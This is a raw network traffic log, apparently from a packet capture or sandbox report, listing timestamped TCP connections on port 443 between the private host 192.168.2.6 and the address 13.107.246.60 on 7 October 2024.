Oct 7, 2024 03:16:33.022059917 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.293071985 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.293106079 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.293313026 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.293598890 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.293616056 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.296375990 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.296385050 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.296443939 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.296627045 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.296639919 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.361834049 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.361849070 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.386843920 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.387492895 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.387517929 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.388254881 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.388259888 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.485455036 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.485625029 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.485703945 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.485913038 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.485951900 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.485977888 CEST	49866	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.485996008 CEST	443	49866	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.489448071 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.489481926 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.489564896 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.489742041 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.489756107 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.681109905 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.681742907 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.681809902 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.682275057 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.682291031 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.784523964 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.784636974 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.784708023 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.784928083 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.784970999 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.784998894 CEST	49867	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.785016060 CEST	443	49867	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.788506031 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.788558960 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.788656950 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.788855076 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.788875103 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.933729887 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.934282064 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.934294939 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.934792042 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.934797049 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.963035107 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.963604927 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.963618040 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:33.964360952 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:33.964366913 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.015290022 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.021168947 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.021181107 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.021783113 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.021786928 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.033452988 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.034049988 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.034116983 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.034187078 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.034202099 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.034215927 CEST	49868	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.034221888 CEST	443	49868	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.037516117 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.037616014 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.037698030 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.037841082 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.037879944 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064296007 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064377069 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064428091 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.064435959 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064495087 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064521074 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.064538002 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064549923 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.064549923 CEST	49870	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.064558029 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.064563036 CEST	443	49870	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.066729069 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.066767931 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.066840887 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.066940069 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.066968918 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.118588924 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.118748903 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.118818045 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.118956089 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.118966103 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.118976116 CEST	49869	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.118978977 CEST	443	49869	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.121797085 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.121834993 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.121931076 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.122092962 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.122111082 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.160998106 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.161807060 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.161818027 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.162254095 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.162259102 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.263663054 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.263943911 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.264045000 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.264198065 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.264203072 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.264225960 CEST	49871	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.264230013 CEST	443	49871	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.266726971 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.266815901 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.266916037 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.267045975 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.267097950 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.447642088 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.448327065 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.448345900 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.448788881 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.448795080 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.550118923 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.550323963 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.550383091 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.550467014 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.550486088 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.550498009 CEST	49872	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.550504923 CEST	443	49872	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.553704977 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.553747892 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.553826094 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.554013968 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.554030895 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.701832056 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.702364922 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.702420950 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.702835083 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.702848911 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.706217051 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.706547976 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.706574917 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.706909895 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.706923008 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.762054920 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.762945890 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.762962103 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.763372898 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.763379097 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.801407099 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.801422119 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.801470041 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.801618099 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.801676035 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.802144051 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.802186966 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.802222013 CEST	49874	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.802238941 CEST	443	49874	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.805480003 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.805526972 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.805603027 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.805743933 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.805761099 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.807893991 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.808058977 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.808128119 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.808166027 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.808166027 CEST	49873	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.808187962 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.808213949 CEST	443	49873	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.810406923 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.810511112 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.810606956 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.810771942 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.810808897 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.860255957 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.860305071 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.860369921 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.860518932 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.860569000 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.860980034 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.860991955 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.861000061 CEST	49875	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.861005068 CEST	443	49875	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.864031076 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.864042997 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.864115953 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.864283085 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.864295006 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.946495056 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.946927071 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.946942091 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:34.947365999 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:34.947372913 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.051346064 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.051440001 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.051489115 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.051503897 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.051563978 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.051609993 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.051685095 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.051702023 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.051717997 CEST	49876	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.051724911 CEST	443	49876	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.055629015 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.055639029 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.055697918 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.055881977 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.055892944 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.189599991 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.190275908 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.190294981 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.190751076 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.190756083 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.432192087 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.432332039 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.432418108 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.432688951 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.432739973 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.432770014 CEST	49877	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.432787895 CEST	443	49877	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.436450005 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.436501026 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.436584949 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.436861992 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.436876059 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.454739094 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.455138922 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.455169916 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.455615044 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.455620050 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.471645117 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.472031116 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.472064018 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.472430944 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.472438097 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.495747089 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.496198893 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.496218920 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.496553898 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.496560097 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.557358980 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.557524920 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.557599068 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.558029890 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.558056116 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.558073997 CEST	49879	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.558082104 CEST	443	49879	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.561208963 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.561264992 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.561381102 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.561525106 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.561542988 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.575330019 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.575367928 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.575436115 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.575452089 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.575506926 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.575609922 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.575651884 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.575691938 CEST	49878	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.575709105 CEST	443	49878	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.577724934 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.577756882 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.577825069 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.578078032 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.578093052 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.593929052 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.593985081 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.594042063 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.594064951 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.594120979 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.594165087 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.594187021 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.594202995 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.594216108 CEST	49880	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.594222069 CEST	443	49880	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.596378088 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.596426010 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.596499920 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.596609116 CEST	49885	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.596626043 CEST	443	49885	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.696825027 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.742969990 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.855568886 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.855591059 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.856046915 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.856051922 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.951925039 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.952014923 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.952068090 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.952133894 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.952179909 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.953629017 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.953644991 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.953653097 CEST	49881	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.953658104 CEST	443	49881	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.960237980 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.960340977 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:35.960427999 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.963834047 CEST	49886	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:35.963876009 CEST	443	49886	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.083280087 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.084263086 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.084286928 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.084763050 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.084769011 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.184856892 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.184894085 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.184962034 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.184982061 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.185026884 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.185267925 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.185281992 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.185293913 CEST	49882	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.185300112 CEST	443	49882	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.189034939 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.189073086 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.189145088 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.189368010 CEST	49887	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.189383030 CEST	443	49887	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.214343071 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.214761972 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.214770079 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.215192080 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.215229988 CEST	49884	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.215234041 CEST	443	49884	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.215545893 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.215559959 CEST	443	49883	13.107.246.60	192.168.2.6
Oct 7, 2024 03:16:36.216059923 CEST	49883	443	192.168.2.6	13.107.246.60
Oct 7, 2024 03:16:36.216068029 CEST	443	49883	13.107.246.60	192.168.2.6
